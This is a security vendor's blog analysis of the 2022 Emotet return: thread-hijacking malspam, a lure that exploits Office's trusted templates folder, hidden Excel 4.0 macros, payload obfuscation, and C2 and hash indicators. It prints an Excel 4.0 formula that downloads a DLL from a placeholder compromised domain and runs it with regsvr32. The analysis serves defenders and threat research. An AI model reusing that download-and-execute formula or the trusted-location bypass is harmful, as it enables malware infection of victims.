di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Prevention Platform

Prevention for Applications

Prevention for Endpoints

Products

Prevent Ransomware

Prevent Zero-Day Attacks

Improve EPP Efficacy

Extend & Enhance EDR

Stop Fileless Attacks

Solutions

Deep Learning in Cybersecurity

Our Customers

+ MS Defender

VS Traditional Antivirus

Why Deep Instinct

About Deep Instinct

Newsroom

Careers

Contact Us

Company

Asset Library

Blog

Videos

Training

Resources

Request Demo

Customer Portal

Integrations and Compliance

Quick links

Events & Webinars

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

ChatGPT and Malware: Making Your Malicious Wishes Come True

chatgpt-malicious-wishes-blog.png

Listing preview

Perspective & Findings

ChatGPT and Malware: Making Your Malicious Wishes Come True

image_media_card

Malicious JARs and Polyglot files: “Who do you think you JAR?”

New MuddyWater Threat: Old Kitten; New Tricks

Polonium APT Group: Uncovering New Elements

Emotet’s Vacation is Over: No Rest for the Wicked

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Malicious Office files: 20+ Years of Microsoft Office Exploits

MIT Explores How Deep Learning is Transforming Cybersecurity

Trending at Deep Instinct

carousel_cards

listing_preview

emotet-blog2.png

<a href="https://www.deepinstinct.com/glossary/emotet-malware" target="_self">Emotet</a> is a prolific malware botnet that originally functioned as a banking trojan when it emerged in 2014. It was spread via spam campaigns, imitating financial statements, transfers, and payment invoices. Emotet is propagated mostly via Office email attachments containing a macro. If enabled, it downloads a malicious PE file (Emotet) which is then executed.The Emotet operation was <a href="https://www.eurojust.europa.eu/news/worlds-most-dangerous-malware-emotet-disrupted-through-global-action" target="_self">disrupted</a> in early 2021, but after few a few months of inactivity for what we will call "summer vacation," it has re-emerged with nearly daily activity since mid-October.<figure style = "margin: auto; text-align: center;width: 710px;"><img asset_uid="blt80698e15f9b02a73" alt="Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*) " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt80698e15f9b02a73/63767803cca9f010a904d2e4/fig01-emotet-activity-low-july-novemeber.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*)</figcaption></figure>The first thing the botnet operators did upon re-emergence was update currently infected computers with new versions of the malware:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltaa79aa54ea1e2fc3" alt="Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltaa79aa54ea1e2fc3/63767803a3fffc10b9dc368a/fig02-initial-activity-after-vacation.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)</figcaption></figure><h3>Delivery via Thread Hijacking Email&nbsp;</h3>The current wave of Emotet malspam is delivered via “thread hijacking” emails. The attachments come in both password-protected zips as well as plain attachments:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt2ec0c89b190805dd" alt="Figure 3: Email containing a password protected zip attachment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ec0c89b190805dd/63767803b71d091081d0c30b/fig03-emotet-thread-hijacking-email-with-password-protected-zip-file.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 3: Email containing a password protected zip attachment</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7579199abada7ac9" alt="Figure 4: Emotet’s malicious Office attachment without a password protected zip" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7579199abada7ac9/637678030d85671097f17969/fig04-emotet-malicious-office-file-without-password-protected-zip.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Emotet’s malicious Office attachment without a password protected zip</figcaption></figure>&nbsp;<h3>Changes in Emotet Malspam</h3>Before going on vacation, Emotet malspam consisted of XLS files with an Excel 4.0 macro.&nbsp;The files contained a simple social engineering image that asks the victim to enable content which will cause the macro to execute:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf8c6eab37cbba73a" alt="Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf8c6eab37cbba73a/6376780314868d10af0dd24e/fig05-emotet-excel-file-july.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)</figcaption></figure>&nbsp;After vacation ended, the Emotet wave still includes XLS files, however, the social engineering element has changed:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc5c1a7c601b1d9f2" alt="Figure 6: New social engineering lure used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc5c1a7c601b1d9f2/63767803ea930410907d92ab/fig06-new-social-engineering-lure-used-by-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6: New social engineering lure used by Emotet</figcaption></figure>&nbsp;The victim is asked to copy and execute the file from the templates folder of Microsoft Office.Executing Office files from this location bypasses the security warning and the Excel 4.0 macro is executed automatically when the file is opened:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltbe819b5868652e58" alt="Figure 7: The templates folder is a trusted location allowing auto execution of macros" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbe819b5868652e58/637678034005df1070afd4a3/fig07-emotet-asks-to-execute-from-trusted-location.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7: The templates folder is a trusted location allowing auto execution of macros</figcaption></figure>&nbsp;<blockquote>Advice: Cybersecurity and IT teams should either disable trusted locations and/or limit write access to such locations to unprivileged users, as well as proactively hunt for suspicious executions from those locations.</blockquote>&nbsp;Besides this social engineering piece, the techniques used by Emotet didn’t change much. When manually checking the sheets, they look empty, however, they contain hidden values:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7d1d3fb44095d19c" alt="Figure 8: “Empty” sheets used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7d1d3fb44095d19c/637678037a64f810a2985142/fig08-emotet-excel-looks-empty-but-contains-hidden-values.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: “Empty” sheets used by Emotet</figcaption></figure>The auto_open macro is also hidden:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf86e1c7e91a2a0b1" alt="Figure 9: Hidden column containing “Auto_Open” macro" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf86e1c7e91a2a0b1/637678035bd399105c6f954a/fig09-emotet-hidden-column-containing-auto_open-macro.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Hidden column containing “Auto_Open” macro</figcaption></figure>The formula concatenates values from different cells to eventually assemble, download, and execute the Emotet DLL. This is done to avoid static detection of common endpoint solutions.The end results should look like this:<pre> =FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://compromised_domain/random/path/","..\oxnv1.ooccxx",0,0),G16) =FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18) </pre>&nbsp;<h3>The Emotet Payload&nbsp;</h3>Emotet operations moved from PE32 to PE64 executables in mid 2022, adding several new features and rebuilding some of its older code. The overall structure remained the same.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt8dd3be555205e6d3" alt="Figure 10: PE64 new Emotet (DetectItEasy)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dd3be555205e6d3/63767803f2301411a4c544d0/fig10-pe64-new-emotet.jpg" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: PE64 new Emotet (DetectItEasy)</figcaption></figure>From the configuration extraction of Emotet we can see the malicious IPs list, as well as evidence of them using the epoch4 botnet and the ECDH and ECDSA keys (See IOCs table).In an attempt to look like a legitimate application when scanned, Emotet is using C++ libraries licensed by DinkumWare.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt45389745b5e5e954" alt="Figure 11: Dinkumware C++ library." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt45389745b5e5e954/637678037140e510ae4a6595/fig11.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: Dinkumware C++ library.</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt6e0a2377b690d4b6" alt="Figure 12: Dinkumware website (www.dinkumware.com)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e0a2377b690d4b6/63767803e07e1711051cf501/fig12-dinkumware-website.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: Dinkumware website (www.dinkumware.com)</figcaption></figure>&nbsp;Additionally, Emotet has a few loops to mimic legitimate behavior during runtime, for example “printing benign strings.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt3a3e5c801db03c70" alt="Figure 13: Print benign strings function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3a3e5c801db03c70/637678030c4e351095246a2d/fig13-print-benign-strings-function.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Print benign strings function</figcaption></figure>Even building a Sudoku and checking your board number (not really…)<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1cf128b7b3064651" alt="Figure 14: Benign String" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1cf128b7b3064651/637678038db6e810ab779660/fig14-benign-strings.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: Benign String</figcaption></figure><h3>The Real Emotet Job</h3>The final DLL is decrypted and uploaded to memory during runtime, making investigation and detection more difficult. Even the API call to VirtualAlloc is obfuscated, like their older version, and the address of the API is retrieved dynamically. The parameters of the call are saved as a STRING and converted to INT during runtime.You can read more on that technique in the <a href="https://www.deepinstinct.com/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before" target="_self">previous blog by Deep Instinct</a><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte2889a1605207f51" alt="Figure 15: VirtualAlloc detection evasion" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2889a1605207f51/63767803a32209106e8b2cf0/fig15-virtualalloc-detection-evasion.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: VirtualAlloc detection evasion</figcaption></figure>&nbsp;The payload itself is encrypted and then encoded using base64:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltd187c53c7641b63c" alt="Figure 16: Encrypted payload in base64" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd187c53c7641b63c/63767803da728110eb03c2d3/fig16-encrypted-payload-base64.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted payload in base64</figcaption></figure>Once the malware is executed, it decodes the base64 text into binary data:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt61348c5a78f1ec79" alt="Figure 17: Base64 binary data" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt61348c5a78f1ec79/6376780325cf5b10b6e37c0b/fig17-base64-binary-data.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Base64 binary data</figcaption></figure>The binary data is then decrypted and we finally get the payload, easily identified by the “MZ… this program cannot be run in DOS mode.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc549a0aeed623175" alt="Figure 18: Final payload revealed" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc549a0aeed623175/63767803f558fc10bda7868c/fig18-final-payload-revealed.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: Final payload revealed</figcaption></figure>Some other artifacts that are similar to the previous generation of Emotet include the following:<ul><li>Empty import table <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt7eba19025e9da703" alt="Figure 19: Empty Import table" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eba19025e9da703/63767803fa033a109b5d7452/fig19-empty-import-table.png" /><figcaption >Figure 19: Empty Import table</figcaption></figure>&nbsp;</li><li>Minimal informative string <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltac00ef7ddb31ebc6" alt="Figure 20: String of the executable file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac00ef7ddb31ebc6/63767803ed757210a08922e9/fig20-string-of-executable-files.png" /><figcaption >Figure 20: String of the executable file</figcaption></figure>&nbsp;</li><li>Similar code flow flattening technique <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt8dbdf84e9d7c36e4" alt="Figure 21: Code flow of Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dbdf84e9d7c36e4/63767803cdfe2310972d4fd1/fig21-code-flow-emotet.png" /><figcaption >Figure 21: Code flow of Emotet</figcaption></figure></li></ul>&nbsp;You can read more about these techniques in Deep Instinct’s <a href="https://www.deepinstinct.com/blog/the-re-emergence-of-emotet" target="_self">previous blog about Emotet</a>.The multi-step techniques detailed result in late detection only when the decrypted PE is uploaded to the memory, therefore, we see a low detection rate in VT for the initial DLL, while the decrypted DLL gets a higher detection rate.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb84eb65afeab392a" alt="Figure 22: Initial Emotet Dll" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb84eb65afeab392a/637678039d1a721199be42f9/fig22-initial-emotet-dll.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 22: Initial Emotet Dll</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt9203cd2682aa4c2f" alt="Figure 23: Final Emotet payload" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9203cd2682aa4c2f/637678032938151067563dd7/fig23-final-emotet-payload.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 23: Final Emotet payload</figcaption></figure>&nbsp;<h3>Conclusion</h3>Emotet has returned to send malspam after a few months of summer break.The current waves don’t show much change from those before their vacation; they’re still trying to bypass detection by making some minor changes, adding benign code blocks, and moving to PE64.Emotet has slightly altered its techniques and TTPs over the years as the threat landscape shifts in favor of new initial infection vectors and new bypassing methods.We wouldn’t be surprised if we saw Emotet shift from Excel 4.0 macros to another initial infection vector that would yield them more successful infections in the near-term future.Deep Instinct customers are protected from the new Emotet campaign by multiple protection layers, both statically and dynamically, resulting in pre-execution prevention.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt19ba2662ee21c9f9" alt="Figure 24: Static engine prevention for Emotet’s malicious Office file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt19ba2662ee21c9f9/6376716ba3fffc10b9dc3657/fig24-deep-instinct-static-analysis-blocked-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 24: Static engine prevention for Emotet’s malicious Office file</figcaption></figure><h3>IOC</h3><table><thead class="bg-grey"><tr><th>&nbsp;</th><th>Password Protected Zip samples</th><th>Plain Attachment samples</th></tr></thead><tbody><tr><td>ZIP</td><td>19c43584bd90e6507ba4a4dad59fdf3a</td><td>N/A</td></tr><tr><td>XLS</td><td>e99144862c6a3bb1d25846e962dc1633</td><td>893f9b10a48073fc3fa0d5c8867f7200</td></tr><tr><td>DLL</td><td>b0ebf252754995807a8fe9dca7a063b8</td><td>bf488b48716275f2e3dc9efc7fea4aea</td></tr><tr><td>DLL Decrypted</td><td colspan="2">236AE63E2AC25B35EDBCECA4443BD95F </td></tr><tr><td>C2</td><td>45.235.8.30:8080 94.23.45.86:4143 119.59.103.152:8080 169.60.181.70:8080 164.68.99.3:8080 172.105.226.75:8080 107.170.39.149:8080 206.189.28.199:8080 1.234.2.232:8080 188.44.20.25:443 186.194.240.217:443 103.43.75.120:443 149.28.143.92:443 159.89.202.34:443 209.97.163.214:443 183.111.227.137:8080 129.232.188.93:443 139.59.126.41:443 110.232.117.186:8080 139.59.56.73:8080 103.75.201.2:443 91.207.28.33:8080 164.90.222.65:443 197.242.150.244:8080 212.24.98.99:8080 51.161.73.194:443 115.68.227.76:8080 159.65.88.10:8080 </td><td>201.94.166.162:443 95.217.221.146:8080 173.212.193.249:8080 82.223.21.224:8080 103.132.242.26:8080 213.239.212.5:443 153.126.146.25:7080 45.176.232.124:443 182.162.143.56:443 169.57.156.166:8080 159.65.140.115:443 163.44.196.120:8080 172.104.251.154:8080 167.172.253.162:8080 91.187.140.35:8080 45.118.115.99:8080 147.139.166.154:8080 72.15.201.15:8080 149.56.131.28:8080 167.172.199.165:8080 101.50.0.91:8080 160.16.142.56:8080 185.4.135.165:8080 104.168.155.143:8080 79.137.35.198:8080 5.135.159.50:443 187.63.160.88:80 </td></tr><tr><td>Eck1</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== </td></tr><tr><td>Eck2</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==</td></tr></tbody></table>&nbsp;<h3>References</h3>* Figure 1: <a href="https://bazaar.abuse.ch/browse/signature/Heodo/" target="_blank">MalwareBazaar</a>† Figure 2: <a href="https://twitter.com/Cryptolaemus1/status/1580261200331689984" target="_blank">Twitter</a>

Unit 221B Validates >99% Zero-Day and <0.1% False Positive Threat Prevention Accuracy